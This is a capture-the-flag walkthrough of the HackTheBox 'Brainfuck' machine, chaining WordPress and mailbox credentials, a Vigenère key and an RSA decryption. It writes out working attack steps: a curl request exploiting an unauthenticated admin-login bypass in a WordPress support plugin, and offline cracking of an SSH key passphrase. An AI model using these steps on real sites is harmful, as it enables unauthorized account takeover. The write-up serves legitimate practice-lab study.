Skip to content

Brainfuck Writeup - HackTheBox

Insane Linux
Mohammad Meraj

Independent Security Researcher

Brainfuck is an insane-rated Linux box built around a credential chain rather than a single exploit. An unauthenticated WordPress plugin bug hands over admin access, admin access leaks an SMTP password, the SMTP password opens a mailbox with forum credentials, the forum hides an SSH key behind a Vigenère cipher, and the home directory contains the RSA parameters needed to decrypt the root flag without ever getting a root shell.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 $TARGET_IP -p22,25,110,143,443 -oA nmap/nmap
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
25/tcp  open  smtp     Postfix smtpd
110/tcp open  pop3     Dovecot pop3d
143/tcp open  imap     Dovecot imapd
443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
|_http-title: Brainfuck Ltd. - Just another WordPress site
|_http-generator: WordPress 4.7.3
| ssl-cert: Subject: commonName=brainfuck.htb
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb

The SSL certificate's SAN field leaks a hidden vhost: sup3rs3cr3t.brainfuck.htb. Add both names:

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb" \
| sudo tee -a /etc/hosts

WordPress fingerprinting

┌──(kali㉿kali)-[~]
└─$ whatweb https://brainfuck.htb
WordPress[4.7.3], Email[orestis@brainfuck.htb], nginx[1.10.0]

Valid email address confirmed: orestis@brainfuck.htb. Run WPScan to enumerate plugins:

┌──(kali㉿kali)-[~]
└─$ wpscan --url https://brainfuck.htb --disable-tls-checks --no-update
[+] WordPress version 4.7.3 (Insecure, released 2017-03-06)
[+] wp-support-plus-responsive-ticket-system
  | Version: 7.1.3

wp-support-plus-responsive-ticket-system 7.1.3 is vulnerable to an unauthenticated admin login bypass documented at https://www.exploit-db.com/exploits/41006.

Initial Access

WordPress admin bypass

The plugin exposes an admin-ajax.php action (loginGuestFacebook) that logs in as any existing user given only a username, with no password check:

┌──(kali㉿kali)-[~]
└─$ curl -k -X POST https://brainfuck.htb/wp-admin/admin-ajax.php \
-d "username=admin" \
-d "email=anything@example.com" \
-d "action=loginGuestFacebook" \
-i

The response sets a valid authenticated session cookie for admin. Use it to browse the WordPress dashboard. A "Dev Update" post references SMTP integration for orestis@brainfuck.htb, which points to the next credential.

SMTP credential leak via Settings

Under Settings > Easy WP SMTP, the password field is masked with type="password". Switching it to type="text" in browser dev tools reveals the stored cleartext value $ORESTIS_SMTP_PASSWORD.

POP3 mail enumeration

┌──(kali㉿kali)-[~]
└─$ telnet $TARGET_IP 110
+OK Dovecot ready.
USER $USER
+OK
PASS $ORESTIS_SMTP_PASSWORD
+OK Logged in.
LIST
+OK 2 messages:
1 977
2 514
RETR 2

Message 2, from root@brainfuck.htb, subject "Forum Access Details":

Hi there, your credentials for our "secret" forum are below :)
username: orestis
password: $ORESTIS_FORUM_PASSWORD

Credential Chain

Hidden forum

Log into https://sup3rs3cr3t.brainfuck.htb as orestis with $ORESTIS_FORUM_PASSWORD. Two threads are visible. The general thread contains multiple posts from orestis, all signed with a consistent catchphrase in cleartext: "Orestis - Hacking for fun and profit". A second thread contains encrypted versions of that same phrase.

That repeating phrase is a known-plaintext attack surface for the Vigenère cipher. Aligning the known plaintext against the ciphertext and XOR-stepping through the alphabet at each position recovers the key: $VIGENERE_KEY.

Decrypt the secret post using any Vigenère tool (e.g. rumkin.com/tools/cipher/vigenere). The plaintext reveals a URL pointing to an SSH private key:

https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa

SSH key passphrase

Download the key and confirm it is passphrase-protected:

┌──(kali㉿kali)-[~]
└─$ wget --no-check-certificate \
https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
 
┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa $USER@$TARGET_IP
Enter passphrase for key 'id_rsa':

Crack it offline:

┌──(kali㉿kali)-[~]
└─$ ssh2john id_rsa > id_john
┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt id_john
$ORESTIS_KEY_PASSPHRASE   (id_rsa)
1g 0:00:00:17 DONE
┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa $USER@$TARGET_IP
orestis@brainfuck:~$

Shell as orestis. User access reached.

Privilege Escalation

RSA decryption from leaked parameters

The home directory holds three relevant files:

encrypt.sage generates a 1024-bit RSA keypair from random p, q, and e, reads /root/root.txt, encrypts it, and writes the ciphertext to output.txt and the parameters to debug.txt.

debug.txt contains the actual p, q, and e used.

output.txt contains the ciphertext.

Since all three RSA parameters are known, the private exponent d is recoverable directly via the extended Euclidean algorithm with no factoring attack required.

def egcd(a, b):
    x, y, u, v = 0, 1, 1, 0
    while a != 0:
        q, r = b // a, b % a
        m, n = x - u * q, y - v * q
        b, a, x, y, u, v = a, r, u, v, m, n
        gcd = b
    return gcd, x, y

def main():
    p = <value from debug.txt>
    q = <value from debug.txt>
    e = <value from debug.txt>
    ct = <value from output.txt>
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(ct, d, n)
    print("pt:", pt)

if __name__ == "__main__":
    main()
┌──(kali㉿kali)-[~]
└─$ python decrypt.py
pt: 24604052029401386049980296953784287079059245867880966944246662849341507003750

Convert the decimal to hex and decode as ASCII:

┌──(kali㉿kali)-[~]
└─$ python -c "print format(24604052029401386049980296953784287079059245867880966944246662849341507003750, 'x').decode('hex')"

The output is the root flag. Root access reached without requiring a root shell.

References